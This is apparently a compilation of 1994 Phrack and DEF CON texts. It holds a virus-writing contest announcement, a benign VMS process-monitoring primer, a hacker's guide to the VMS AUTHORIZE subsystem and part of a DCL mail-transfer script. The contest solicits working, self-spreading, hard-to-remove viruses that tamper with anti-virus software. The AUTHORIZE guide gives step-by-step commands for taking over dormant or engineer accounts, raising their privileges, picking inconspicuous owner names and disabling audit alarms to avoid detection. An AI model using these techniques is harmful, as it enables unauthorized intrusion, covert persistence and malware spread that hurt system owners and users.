‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Let me give you a simple example: The Political Correctness Virus

This virus is a spoof on the "political correctness" movement‑‑which is just a form of self‑imposed censorship‑‑that is sweeping American intellectual circles, particularly colleges and universities.

This virus is a memory resident boot sector virus which maintains a list of politically incorrect words on your computer system. It also hooks the keyboard interrupt and monitors every keystroke you make. If you type a politically incorrect word into the computer, the PCV springs into action.

Politically incorrect words are ranked at three different offense levels. When the PCV encounters such a word, it determines what offense level that word is, and acts accordingly.

The least offensive words merely register a beep. More offensive words cause a beep to sound for 10 seconds. The most offensive words cause a siren to sound for two minutes, locking the system for that duration. If you turn the computer off before the two minutes are up, the virus will stop the boot process for five minutes, with sirens, when you turn it back on. If you allow the siren to complete, then you can proceed.

The virus has two different word lists, both stored in an encrypted and compressed format. The list is selected at random when the system is infected, after which it cannot be changed. The first list is the "proper" list of political correctness no‑no's. For example, a word like "sodomite" is among the worst possible offenses. The second list is an inverted list of no‑no's. This list trys to force you to use "sodomite" by flagging words like "gay" and "homosexual" as no‑no's.

If you allow the PCV to live in your system for three months without getting a single flag, you are given the supreme honor of viewing the word list assigned to you and adding a word to it. If you get more than 3000 flags in a lifetime, the virus will force you to enter a politically correct word before allowing you to start the computer, since you are obviously unwilling to submit to its censorship.

The virus also uses powerful means to prevent disinfection, so that, once you get it, you can't get rid of it without a major effort.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now, I know you can get a lot more creative than this‑‑so do it! Design your virus carefully, so that everything it does has meaning. Then send it in.

Here are the criteria we'll use:

1. Originality: Your virus must be an original work. Do not send us anything that is not 100% yours. Your message should be original too. Do not just ape what everybody else is saying, especially the media. Also, a refined wit is much to be preferred over vulgarity. Vulgarity is a substitute for original wit. Foul language, porn, etc., are out. Destructive features should be incorporated only if they are VERY appropriate (perhaps if you are commenting on real live genocide in your country, or something like that). In general, though, destructive features will hurt you, not help you. The one exception is modifying anti‑virus programs. That is considered to be CONstructive activity.

2. Creativity: Make us laugh, make us cry. Amaze us with how bits and bytes can say something about politics and issues. Think of it like this: displaying a message on the screen is like reading a text file. What we want is the equivalent of a multi‑media extravaganza. Use all the system's resources to tell your message. Don't be afraid to write a virus that has some weird mode of infecting programs that tells a story, or to write one that sends faxes to the White House, or sends an automatic request for reams of free information to some government agency.

3. Functionality: The virus has to work. If it only works on some machines, or under some versions of DOS, or what‑not, then that will count against you. The better it is at infecting systems and moving around, the better off you will be. So, for example, if you write a file‑infector, make sure it can jump directories, and‑‑if you're up to it‑‑migrate across a network.

4. Political incorrectness: Since computer viruses are politically incorrect, their message should be too. If you send us a pro‑establishment virus, then you will not win this contest. A word to the wise: think twice about what's correct and what's not. Many positions are only superficially incorrect, though they are really quite fashionable among the establishment. Look at it this way: if you could get a well‑written letter expressing your view published in a big city newspaper, then it's not sufficiently incorrect. There are a LOT of ideas that are unofficially censored by society‑especially the media and academia. They tend to make themselves out to be the rebels, but they are really the establishment. If you can't think of anything creatively incorrect and sufficiently obnoxious then you shouldn't be writing viruses in the first place.

*******************************

How to Submit an Entry

You may mail your entry to American Eagle Publications at the above address, or you may e‑mail it to ameagle@mcimail.com. Alternatively, you can submit it by dialing the Crypt Infosystems BBS and uploading it there. To get on to the system quickly, efficiently and anonymously, log on as VIRUS, using the password CONTEST.

An entry consists of:

1. A complete copy of your virus, both source and executable files.

2. If the political satire isn't perfectly obvious, send a verbal description of how the virus works and why it does what it does. This is especially important if you are not an American and you are commenting on something that has not received worldwide attention. I don't care if you're Bulgarian and you're commenting on something we've never heard of‑‑just make sure you explain it, or we won't understand and you'll lose.

3. If you want to be recognized for your work, include your name (real or handle), and a way we can get in contact with you.

By submitting an entry, you grant American Eagle Publications, Inc. the right to publish your virus in any form. You agree not to make your virus public prior to July 25, 1994. If you do, you are automatically disqualified from the contest.

For the sake of privacy, you may encrypt your entry and send it in with the following PGP key (which we highly recommend if you have PGP):

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.1

mQCNAi09jVgAAAEEAN3M9LFQXeBprkZuKo5NtuMC+82qNd3/8saHLO6iuGe/eUai 8Vx7yqqpyLjZDGbAS7bvobrcY3IyFeu8PXG4T8sd+g81P0AY0PHUqxxPG3COvBfP oRd+79wB66YCTjKSwd3KVaC7WG/CyXDIX5W6KwCaGL/SFXqRChWdf2BGDUCRAAUR tApDT05URVNUXzk0

=Z20c

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

Good luck!

*******************************

P R I Z E S

In addition to instant worldwide fame and recognition, you'll get:

1. A cash prize of $100 US.

2. A year's subscription to Computer Virus Developments Quarterly.

3. Your virus will be published in Computer Virus Developments Quarterly, and other fine journals.

4. A handsome engraved plaque recognizing your contribution to the betterment of mankind.

5. A free secret surprise that we cannot tell you about right now, valued at $100.

Two runner‑ups will receive the secret surprise.

!! GO FOR IT !!

========================================

STUFF TO SPEND YOUR MONEY ON:

> Tapes of last years speakers (four 90 minute tapes) are available for $20

> DEF CON I tee‑shirts (white, large only) with large color logo on the front, and on the back the Fourth Amendment, past and present. This is shirt v 1.1 with no type‑o's. These are $20, and sweatshirts are $25.

> DEF CON II tee‑shirts will be made in various colors this year, including a few long sleeve shirts. Sizes will be in XL only again, with few white larges made. Shirts will be $15, Long Sleeve $17, Sweat shirts will be $20. Well, actually, I'll make a small quantity of various stuff, so with luck you'll find something you like.

> We will have a few (ten maybe?) embroidered hats with this years logo. Not sure how much they will be.. like $10 maybe.

> Full sized 4 color DEF CON II wall posters will be for sale for about $5.

> Pre‑Register for next year in advance for $15 and save half.

> Make all checks/money orders/etc. out to DEF CON, and mail to the address above. Way above. Above the virus awards announcement.

If you have any confidential info to send, use this PGP key to encrypt:

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.3

mQCrAiyI6OcAAAEE8Mh1YApQOOfCZ8YGQ9BxrRNMbK8rP8xpFCm4W7S6Nqu4Uhpo dLfIfb/kEWDyLreM6ers4eEP6odZALTRvFdsoBGeAx0LUrbFhImxqtRsejMufWNf uZ9PtGD1yEtxwqh4CxxC8glNA9AFXBpjgAZ7eFvtOREYjYO6TH9sOdZSa8ahW7YQ hXatVxhlQqve99fY2J83D5z35rGddDV5azd9AAUTtCZUaGUgRGFyayBUYW5nZW50 IDxkdGFuZ2VudEBkZWZjb24ub3JnPg==

=ko7s

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

VMS Information

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 15 of 28

****************************************

^^^^^^^^^^^^^^^^

Some Helpful VAX/VMS utilities

^^^^^^^^^^^^^^^^

Introduction :

^^^^^^^^^^^^

This article contains a brief introduction to some not so often used utilities, found on the Virtual Address eXtentions/ Virtual Memory System or better known to us as the VAX/VMS.

Please note that this file is meant for the so called VMS "newbies". It gives an insight to the processes that are running in the different "Hibernation" states on VMS, quite similar to the background processes running on UNIX and its clones. If you have "extensive" experience on VMS as a systems programmer or a SysOp, you might want to skip it !!

Portions of this file are taken from the ever blabbering VMS HELP, which is where many of us, myself included, learn about the VAX/VMS. VMS has lots of secrets. Locations of "hidden" files are a very well kept secret, known not even to the SysOp but only to the system programmer.

Ok.... Lets get started...

SHOW SYSTEM :

^^^^^^^^^^^

This command ($Show system) will display information about the status of the processes running on the system.

There are various options to this command, some of which are listed below.

/BATCH /CLUSTER /FULL /NETWORK /NODE /OUTPUT /PROCESS /SUBPROCESS

1. $ SHOW SYSTEM

VAX/VMS 5.4 on node DARTH 19‑APR‑1990 17:45:47.78 Uptime 2 21:53:59 Pid Process Name State Pri I/O CPU Page flts Ph.Mem 27400201 SWAPPER HIB 16 0 0 00:29:52.05 0 0 27401E03 DOCBUILD LEF 4 37530 0 00:05:47.62 96421 601 27402604 BATCH_789 LEF 4 3106 0 00:00:48.67 4909 2636 B 27401C05 BATCH_60 LEF 6 248 0 00:00:06.83 1439 1556 B 27400207 ERRFMT HIB 8 6332 0 00:00:41.83 89 229 27400208 CACHE_SERVER HIB 16 2235 0 00:00:05.85 67 202 27400209 CLUSTER_SERVER HIB 8 4625 0 00:22:13.28 157 448 2740020C JOB_CONTROL HIB 10 270920 0 01:07:47.88 5163 1384 2740020D CONFIGURE HIB 9 125 0 00:00:00.53 104 264 .

.

.

27400E8D Sir Lancelot LEF 5 226 0 00:00:07.87 4560 697 2740049A Guenevere LEF 4 160 0 00:00:02.69 534 477 27401EA0 BATCH_523 CUR 4 4 17470 0 03:25:49.67 8128 5616 B 274026AF GAWAIN CUR 6 4 14045 0 00:02:03.24 20032 397 274016D5 GAHERIS LEF 6 427 0 00:00:09.28 5275 1384 27401ED6 knight_1 HIB 5 935 0 00:00:10.17 3029 2204 S 274012D7 BATCH_689 LEF 4 49216 0 00:14:18.36 7021 3470 B 274032D9 DECW$MAIL LEF 4 2626 0 00:00:51.19 4328 3087 B 274018E3 SERVER_0021 LEF 6 519 0 00:00:07.07 1500 389 N 274016E8 NMAIL_0008 HIB 4 10955 0 00:00:55.73 5652 151 274034EA MORDRED LEF 4 2132 0 00:00:23.85 5318 452 274022EB S. Whiplash CUR 6 4 492 0 00:00:12.15 5181 459 274018EF DwMail LEF 5 121386 0 00:28:00.97 7233 4094 27401AF0 EMACS$RTA43 LEF 4 14727 0 00:03:56.54 8411 4224 S 27400CF4 TRISTRAM HIB 5 25104 0 00:06:07.76 37407 1923 274020F5 Morgan LEF 7 14726 0 00:02:10.74 34262 1669 27400CF6 mr. mike LEF 9 40637 0 00:05:15.63 18454 463

The information in this example includes the following:

o Process identification (PID) code‑A 32‑bit binary value that uniquely identifies a process.

o Process name‑A 1‑ to 15‑character string used to identify a process.

o Process state‑The activity level of the process, such as COM (computing), HIB (hibernation), LEF (local event flag) wait, or CUR (if the process is current). If a multiprocessing environment exists, the display shows the CPU ID of the processor on which any current process is executing.

Note that the SHOW SYSTEM command examines the processes on the system without stopping activity on the system. In this example process information changed during the time that the SHOW SYSTEM command collected the data to be displayed. As a result, this display includes two processes, named GAWAIN and S. Whiplash, with the state CUR on the same CPU, CPU ID 6 in the example.

o Current priority‑The priority level assigned to the process (the higher the number, the higher the priority).

o Total process I/O count‑The number of I/O operations involved in executing the process. This consists of both the direct I/O count and the buffered I/O count.

o Charged CPU time‑The amount of CPU time that a process has used thus far.

o Number of page faults‑The number of exceptions generated by references to pages that are not in the process's working set.

o Physical memory occupied‑The amount of space in physical memory that the process is currently occupying.

o Process indicator‑Letter B indicates a batch job; letter S indicates a subprocess; letter N indicates a network process.

o User identification code (UIC)‑An 8‑digit octal number assigned to a process. This number is displayed only if the /FULL qualifier is specified.

2. $ SHOW SYSTEM /CLUSTER

VAX/VMS V5.4 on node APPLE 19‑APR‑1990 09:09:58.61 Uptime 0 2:27:11 Pid Process Name State Pri I/O CPU Page flts Ph. Mem 31E00041 SWAPPER HIB 16 0 0 00:00:02.42 0 0 31E00047 CACHE_SERVER HIB 16 58 0 00:00:00.26 80 36 31E00048 CLUSTER_SERVER CUR 9 156 0 00:00:58.15 1168 90 31E00049 OPCOM HIB 7 8007 0 00:00:33.46 5506 305 31E0004A AUDIT_SERVER HIB 9 651 0 00:00:21.17 2267 22 31E0004B JOB_CONTROL HIB 10 1030 0 00:00:11.02 795 202

.

.

The SHOW SYSTEM command in this example shows all processes on all nodes of the cluster.

3. $ SHOW SYSTEM /NODE=NEON

VAX/VMS V5.4 on node NEON 19‑APR‑1990 09:19:15.33 Uptime 0 02:29:07 Pid Process Name State Pri I/O CPU Page flts Ph. Mem 36200041 SWAPPER HIB 16 0 0 00:00:12.03 0 0 36200046 ERRFMT HIB 8 263 0 00:00:05.89 152 87 36200047 CACHE_SERVER CUR 16 9 0 00:00:00.26 80 51 36200048 CLUSTER_SERVER CUR 8 94 0 00:00:30.07 340 68 36200049 OPCOM HIB 6 2188 0 00:02:01.04 1999 177 3620004A AUDIT_SERVER HIB 10 346 0 00:00:10.42 1707 72 .

.

.

The SHOW SYSTEM command in this example shows all processes on the node NEON.

‑‑‑‑‑ X ‑‑‑‑

So now that we beat the SHOW SYSTEM command to death, lets take on another command. Hmmm..let's see..Ahhhaaaa the MONITOR SYSTEM !!!!!

This is a pretty neat command and one of my favorite "play" commands. Don't get me wrong, there's a lot to be learned from "play" commands like these. It really gives us some useful information. The reason why I like this utility is because it gives a GRAPHICAL representation of the data given by the SHOW SYSTEM. I would have included a short example of the graphics, but not everyone receiving this article would be running VMS on a terminal with ANSI emulation. So, if you want to see the ANSI graphics, follow my instructions...

MONITOR

Invokes the VMS Monitor Utility (MONITOR) to monitor classes of system‑wide performance data at a specified interval. It produces three types of optional output:

o Recording file

o Statistical terminal display

o Statistical summary file

You can collect data from a running system or from a previously created recording file.

You can execute a single MONITOR request, or enter MONITOR interactive mode to execute a series of requests. Interactive mode is entered when the MONITOR command is issued with no parameters or qualifiers.

A MONITOR request can be terminated by pressing CTRL/C or CTRL/Z. CTRL/C causes MONITOR to enter interactive mode; CTRL/Z returns to DCL.

The MONITOR Utility is described in detail in the VMS Monitor Utility Manual.

Format:

MONITOR class‑name[,...]

There are quite a few different options available for the MONITOR utility. We are not going to get into too much detail about each option, but I will take the time to discuss a few. The different options for MONITOR are....

ALL_CLASSES CLUSTER DECNET DISK DLOCK FCP FILE_SYSTEM_CACHE IO LOCK MODES MSCP_SERVER PAGE POOL PROCESSES RMS SCS STATES SYSTEM TRANSACTION VECTOR

/BEGINNING /BY_NODE /COMMENT /DISPLAY /ENDING /FLUSH_INTERVAL /INPUT /INTERVAL /NODE /RECORD /SUMMARY /VIEWING_TIME /ALL /AVERAGE /CPU /CURRENT /FILE /ITEM /MAXIMUM

MONITOR Parameter class‑name[,...]

Specifies one or more classes of performance data to be monitored. The available class‑names are:

ALL_CLASSES All MONITOR classes.

CLUSTER Cluster wide information. DECNET DECnet‑VAX statistics.

DISK Disk I/O statistics.

DLOCK Distributed lock management statistics FCP File system primitive statistics. FILE_SYSTEM_CACHE File system caching statistics. IO System I/O statistics.

LOCK Lock management statistics. MODES Time spent in each of the processor modes. MSCP_SERVER MSCP Server statistics

PAGE Page management statistics. POOL Space allocation in the nonpaged dynamic pool. PROCESSES Statistics on all processes. RMS VMS Record Management Services statistics SCS System communication services statistics. STATES Number of processes in each scheduler state. SYSTEM System statistics. TRANSACTION DECdtm services statistics. VECTOR Vector Processor scheduled usage.

MONITOR

/ALL

Specifies that a table of current, average, minimum, and maximum statistics is to be included in display and summary output.

/ALL is the default for all class‑names except MODES, STATES and SYSTEM. It may not be used with the PROCESSES class‑name.

‑‑‑‑ X ‑‑‑

Well, I hope this little file helps a few people out, by providing them with a better understanding of the background processes running on the system and by providing a better perception of the amount of CPU and I/O time taken by each process.

DARTH VADER

P.S : Look for a file on ACL (Access Control Listing) in the near future.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

VAX/VMS AUTHORIZATION SYSTEM

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Introduction:

‑‑‑‑‑‑‑‑‑‑‑‑

Well, since Phrack issues containing VMS articles are pretty rare I will examine in deep the authorization sub‑system on VAXes.

Keep in mind that I will take under consideration that you are probably under some new VMS version (5.5‑X). If you are on some older VMS, don't worry, commands are the same, just some flags and display was added on later versions. The knowledge of the authorization sub‑system is of great importance for a VAX hacker since he must keep himself an access to the system, and this is the right way to do it.

Also keep in mind that this is just a practical guide oriented to a hacker's needs and was done to be understandable by and useable by everybody, even those who are not so familiar with VMS. That's why I included some references to VMS filesystem, privileges, etc.

AUTHORIZE:

‑‑‑‑‑‑‑‑‑

The authorization subsystem is the one that will let you create accounts under the VMS operating system. The command you need to execute is the:

SYS$SYSTEM:AUTHORIZE.EXE

What do you need to execute that program ?

READ/WRITE PRIVS over SYSUAF.DAT EXECUTE PRIVS over SYS$SYSTEM:AUTHORIZE.EXE

How can you check if you got all needed to start creating accounts ?

DIR SYS$SYSTEM:AUTHORIZE.EXE/FULL

Directory SYS$SYSROOT:[SYSEXE] <‑‑‑‑‑ Directory you are listing

AUTHORIZE.EXE;1 File ID: (2491,5,0)

Size: 164/165 Owner: [SYSTEM] <‑‑‑‑ Owner is Sys Manager Created: 20‑JUL‑1990 08:30:34.18 <‑‑‑‑‑‑‑ Creation Date of program Revised: 17‑AUG‑1992 09:45:36.31 (4) <‑‑‑‑‑‑ Last modification over program Expires: <None specified> <‑‑‑‑ No expiration, will last for ever Backup: <No backup recorded>

File organization: Sequential

File attributes: Allocation: 165, Extend: 0, Global buffer count: 0 No version limit, Contiguous best try

Record format: Fixed length 512 byte records <‑‑‑ record organization Record attributes: None

RMS attributes: None

Journaling enabled: None

File protection: System:RWED, Owner:RWED, Group:R, World: <‑‑‑‑ (*) Access Cntrl List: None

Total of 1 file, 164/165 blocks.

(*) This is the field that will tell if you are authorized to execute the program. In this case if you own a privileged account you can run it. That doesn't mean that you will be able to view/modify any account found on the SYSUAF.DAT. But 95 % of the time any user can execute the AUTHORIZE program even if you don't have READ privilege on the SYS$SYSTEM directory. That means that if you do a :

DIR SYS$SYSTEM

and you find that you don't have the privilege to view the files contained in that directory you may still be able to execute the AUTHORIZATION subsystem, of course, you have a real low chance of getting the SYSUAF.DAT read or modified.

If you find that the authorize program cannot be executed a good method is to send it UUENCODED from another VAX where you *DO* have at least read access to SYS$SYSTEM:AUTHORIZE.EXE . If you are working on the X‑25's you can send it via PSI mailing. If you are on the Internet, just send it using the normal mail routing method to the user on the VAX you want the AUTHORIZE.EXE to get executed by. Once you get it just UUDECODE it and place it in your SYS$LOGIN directory and execute it!.

The authorize will work as a module, and won't try to overlay any other module to make it work correctly. If you can run the authorize you should receive :

"UAF>" prompt.

THE SYSUAF.DAT:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The SYSUAF.DAT is the most important file of the authorization subsystem. All the accounts are stored here with their :

‑ PASSWORDS (encrypted)

‑ ENVIRONMENT

‑ DIR

‑ privileges

‑ RIGHTS OVER THE FILES

... and more

The SYSUAF.DAT is somehow like the /etc/passwd file on Unix OS. Under UNIX you can take the password file and with an editor add yourself an account or modify an existing one without problem. Well this is not possible under VMS. You need a program that knows SYSUAF.DAT record structure (like AUTHORIZE) to take action over accounting system.

The main difference is that the SYSUAF.DAT is not a PLAIN TEXT FILE, its a binary file structured to be read only by the AUTHORIZE program. Another main difference is that is not world readable, can usually be only read from high privileged accounts or from accounts which can override system protection flags (will talk about this later).

The SYSUAF.DAT can be found in the same directory as the AUTHORIZE.EXE program, the SYS$SYSTEM. You will usually find a few versions of this file but normally with the same protections as the working one.

What can be interesting is that you can usually find files produced by the output of the LIST command (under AUTHORIZE) which can be WORLD readable where you will have all the accounts listed with the OWNER/DIR/PRIVS..etc. That will help you a lot to try to hack some accounts if you still can't run authorize. Those files are called normally: SYSUAF.LIS, and you might find more than just one of them. Of course try to get the latest one since the older ones will contain some expired/deleted accounts.

To check what privilege you have over the SYSUAF.DAT issue :

DIR SYS$SYSTEM:SYSUAF.DAT/FULL

Directory SYS$COMMON:[SYSEXE]

SYSUAF.DAT;1 File ID: (228,1,0)

Size: 183/183 Owner: [SYSTEM]

Created: 20‑JUL‑1990 08:30:21.50

Revised: 14‑JAN‑1994 03:33:27.75 (34812) <‑‑‑ Last Creation/Modification Expires: <None specified>

Backup: <No backup recorded>

File organization: Indexed, Prolog: 3, Using 4 keys In 3 areas

File attributes: Allocation: 183, Extend: 3, Maximum bucket size: 3 Global buffer count: 0, No version limit Contiguous best try

Record format: Variable length, maximum 1412 bytes

Record attributes: None

RMS attributes: None

Journaling enabled: None

File protection: System:RWED, Owner:RWED, Group:R, World: (*) Access Cntrl List: None

Total of 1 file, 183/183 blocks.

In this case, if you are under a standard user account you won't be able to READ or/and WRITE the SYSUAF.DAT. So when you will execute the AUTHORIZE program, it will quit and kick you back to shell.

IF you have World : R, you will be able to LIST/SHOW accounts. IF you have World : RW, you will be able to CREATE/MODIFY accounts.

But if you happen to have SYSPRIV you will be able CREATE/MODIFY the SYSUAF.DAT at your pleasure! Since you can override the system protection that has been imposed over that file. Of course, if you have SETPRV privilege you have ALL privilege, and you can do whatever you want with the VAX.

Privileges needed to CREATE/MODIFY accounts :

Process privileges:

*SETPRV may set any privilege bit

Explanation: With this only you can assign yourself all the privileges you need with a SET PROC/PRIVS=ALL.

*SYSPRV may access objects via system protection Explanation: If you have this one you will be able to read the SYSUAF.DAT.

*BYPASS may bypass all object access controls Explanation: If you have this one you can read the SYSUAF.DAT since all the objects (ie:files) will be made accessible to you. I suggest that if you happen to have some problems, change the files access flags to let it be WORLD (you) readable/writable. So use :

SET FILE/PROT=(w:rwed) SYS$SYSTEM:SYSUAF.DAT

*READALL may read anything as the owner

Explanation: Well this is obvious, SYSUAF.DAT will be read without problems but of course you won't be able to CREATE/MODIFY accounts to your pleasure. At least you can LIST/SHOW all the accounts as deep as you want.

Entering AUTHORIZE:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Once you've executed AUTHORIZE you will receive its main prompt:

RUN SYS$SYSTEM:AUTHORIZE

UAF>

UAF stands for User Authorization File.

First of all you will first need to get a list of all the accounts on the system with some of their settings also. To do this issue the command:

UAF>SHOW USERS/BRIEF

Owner Username UIC Account Privs Pri Directory

ALLIN1V24CREATED A1$XFER_IN [660,1] Normal 4 Disuser ALLIN1V24CREATED A1$XFER_OUT [660,2] Normal 4 Disuser JOHN_FAVORITE JFAVORITE [300,2] LEDGER Devour 4 DEV$DUA2 :[ABDURAHMAN]

IBRAHIM ALBHIR ALBHIR [60,111] GOTVOT Normal 4 DUA2:[ALB HIR]

ALGHAMDI ALGHAMDI [300,1] LEDGER Normal 4 DUA2:[ALG HAMDI]

ALHAJAJ ALHAJAJ [325,3] BUDGET Devour 4 GOTDEV$DU A2

Explanation:

1) Owner: Owner of the account

2) Username: This is the guy's login name

3) UIC: User Identification Code. This serves to the OS to recognize you and rights you have over files, directory, etc.

4) Account: This is to let the operator know what the group is that owns/manages the account.

5) Pri: don't worry about it.

6) Directory: This is the account HOME directory. Where the owner of the account will work on.

After you have captured the output of the SHOW command you can start trying to create yourself some accounts by modifying some already existing ones (which I suggest strongly).

To create an account issue the following command :

CREATE JOHN/DIR=JOHNS_DIR/DEVICE=SYS$USER/PASSWORD=JOHNS_PASSWORD /ACCESS=(DIALUP,NETWORK)/PRIVS=(NETMBX,TMPMBX)/DEFPRIVS=(NETMBX,TMPMBX) /ACCOUNT=USERS/OWNER=JOHN

Effects of this command:

Will create a user called JOHN which will log under the JOHNS_DIR directory, who will have just normal user privileges (TMPMBX/NETMBX) who, when listed, will appear to be as part of the group name USERS and the account's owner will be JOHN.

After you issue this command a NEW UIC will be added to the RIGHTSLIST.DAT file being assigned to your user.

Explanation:

DIR: can be any directory name you saw on the system. Of course if you are not using all the privileges, check that its READ/WRITE‑able

so you won't have problems at login.

DEVICE: is where the DIR can be found. That means that you have to tell in which physical/logical device that directory will be found. Since VAXes will have at least 1 or 2 magnetic supports you must say on which one the directory can be found. Normally they already have some logical names assigned like SYS$USER,SYS$SYSTEM,SYS$SPECIFIC,SYS$MANAGER, etc.

PASSWORD: is the password you want for the account which will never be shown to anyone, so use whatever one you like.

ACCESS: tells the system from where you will authorize logins for this account. For example I'm sure you've seen this message:

Username: BACKUP

Password:

Cannot login from this source.

Well this is the result of an account being setup with the DIALUP flags in the access field as NODIALUP.

So if u want to give the account all kind of access just use : ACCESS=ALL

and this will authorize all login sources for the account.

PRIVS: will setup the privileges on the named account. If you just want it to be a normal user account use TMPMBX,NETMBX. If you want it to be a super‑user account you can use ALL. But this is not the right way if you don't want your account to get discovered fast.

Valid Process privileges:

CMKRNL may change mode to kernel

CMEXEC may change mode to exec

SYSNAM may insert in system logical name table GRPNAM may insert in group logical name table ALLSPOOL may allocate spooled device

DETACH may create detached processes

DIAGNOSE may diagnose devices

LOG_IO may do logical i/o

GROUP may affect other processes in same group ACNT may suppress accounting messages

PRMCEB may create permanent common event clusters PRMMBX may create permanent mailbox

PSWAPM may change process swap mode

ALTPRI may set any priority value

SETPRV may set any privilege bit

TMPMBX may create temporary mailbox

WORLD may affect other processes in the world MOUNT may execute mount acp function

OPER may perform operator functions

EXQUOTA may exceed disk quota

NETMBX may create network device

VOLPRO may override volume protection

PHY_IO may do physical i/o

BUGCHK may make bug check log entries

PRMGBL may create permanent global sections

SYSGBL may create system wide global sections PFNMAP may map to specific physical pages

SHMEM may create/delete objects in shared memory SYSPRV may access objects via system protection BYPASS may bypass all object access controls SYSLCK may lock system wide resources

SHARE may assign channels to non‑shared devices GRPPRV may access group objects via system protection READALL may read anything as the owner

SECURITY may perform security functions

Check the last section on tips on creating accounts.

ACCOUNT: this is pretty useless and is just for displaying purposes at the SHOW USER under authorize.

OWNER: This field is also used just at SHOW time but keep in mind to use an owner that won't catch the eye of the system manager.

You can use the MODIFY command the ame as you used the CREATE. The only difference is that no account will be created but ALL types of modifications will affect the specified account.

You can use the LIST command to produce an output of the accounts to a file. Use this command as you use the SHOW one.

Of course, the authorize sub‑system is so huge you can actually set hours of login for users, expirations, disk quotas, etc., but this is not the purpose of this article.

Tips to create accounts:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

First of all, what I suggest strongly is to MODIFY accounts not to CREATE new ones. Why this? Well, new account names can jump out at the operator and he will kick you off the system very soon.

The best way I think is to get a non‑used account, change its privileges and change the password and use it!.

First of all try to find a never‑logged account or at least one account whose last log comes from few months ago. From the UAF prompt just do a SH USER/FULL and check out the dates that appear in the *Last Login* record. If this happens to be a very old one then it can be marked as valid to take control of. Of course you have to find a non used account since you will have to change the account's password.

Check the flags field also. This flags can really bother you:

Captive (worst one!) Ctly (ctrl‑y deactivated) Restricted (OS does more checks than normal) DisUser (ACCOUNT IS NOT ENABLED!!!)

I suggest you take out all the flag's fields.

just issue: MODIFY JOHN/FLAGS=(NOCAPTIVE,NOCTLY,NORESTRICED,NODISUSER) If you find an account that is DisUser I suggest not to own it since the DisUser flags will take on when listing the accounts. If system manager sees an account that was OFF now ON..well it's a bit suspicious don't you think ?

Check if the FIELD account is being used. If not own this one since it already has ALL privileges and will not look suspicious at all. Just change its password. (FIELD is the account normally used by Digital Engineers to check the VAX).

Remember to check also that DIALUP access is permitted or you won't be able to login your account.

Once you've chosen the perfect account you can now change its password. Issue: MODIFY JOHN/PASSWORD=MY_PASSWORD. (John is the account name you found)

After you finished just type CTRL‑Z and to exit. If you happen to logoff without exiting AUTHORIZE, don't worry. Changes to SYSUAF.DAT are done instantly when the command finishes its execution.

One other advice, under SHELL if you happen to have SECURITY privilege Issue: SET AUDIT/ALARM/DISABLE=(AUTHORIZE)

If you don't do this, each time you run AUTHORIZE, modified accounts will be logged into OPERATOR.LOG so remember to do so.

After playing a bit with AUTHORIZE you won't have much problems understanding it. Hope you have PHUN! ;‑)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ! FACILITY: Mailback (MAILBACK.COM)

$ !

$ ! ABSTRACT: VAXVMS to VAXVMS file transfer, using the VAX/PSI_MAIL $ ! utility of VAXPSI, over an X.25 link.

$ !

$ ! ENVIRONMENT: VAX/VMS operating system.

$ !

$! ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ saved_verify := 'f$verify(0)'

$ set noon

$ ws = "write sys$output"

$ ws ""

$ ws " MAILBACK transfer utility V1.0 (via Backup and PSI_Mail) 21‑May‑1990" $ ws ""

$!

$ if f$logical("debug").nes."" then set verify

$ ask_p1:

$ if P1.eqs."" then read/prompt="MailBack> Send or Receive (S/R) : " sys$command P1

$ P1 = f$edit(P1, "UPCASE,COMPRESS,TRIM")

$!

$!

$ if P1.EQS."" then exit 1+0*f$verify(saved_verify)

$ if P1.EQS."R" then goto receive_file

$ if P1.nes."S" then goto ask_P1

$! ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$!

$! Sending File(s)

$! ===============

$ if P2.eqs. "" then ‑

read/prompt="MailBack> Recipient mail address (PSI%nnn::user) : " sys$command P2

$ if P2.eqs."" then exit 1+0*f$verify(saved_verify)

$!

$!

$ if P3.eqs."" then read/prompt="MailBack> File(s) : " sys$command P3 $!

$ ws "MailBack> ... Backuping the file(s) ..."

$ Backup/nolog 'P3' sys$scratch:mailbck.tmp/sav/block=2048

$!

$ ws "MailBack> ... Converting format ..."

$ convert/fdl=sys$input sys$scratch:mailbck.tmp sys$scratch:mailbck.tmp record

carriage_control carriage_return

$!

$ ws "MailBack> ... Sending a (PSI_)mail ..."

$ on warning then goto error_sending

$ mail/subject="MAILBACK Backup‑File" ‑

/noself sys$scratch:mailbck.tmp 'P2'

$ ws "MailBack> ... SEND command SUCCESSfully completed."

$!

$ fin_send:

$ delete = "delete"

$ delete/nolog/noconfirm sys$scratch:mailbck.tmp;,;

$ exit 1+0*f$verify(saved_verify)

$!

$ Error_sending:

$ ws "MailBack> Error detected while sending the mail ; ..."

$ ws "MailBack> ... Fix the problem, then retry the whole procedure." $ goto fin_send

$! ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$!

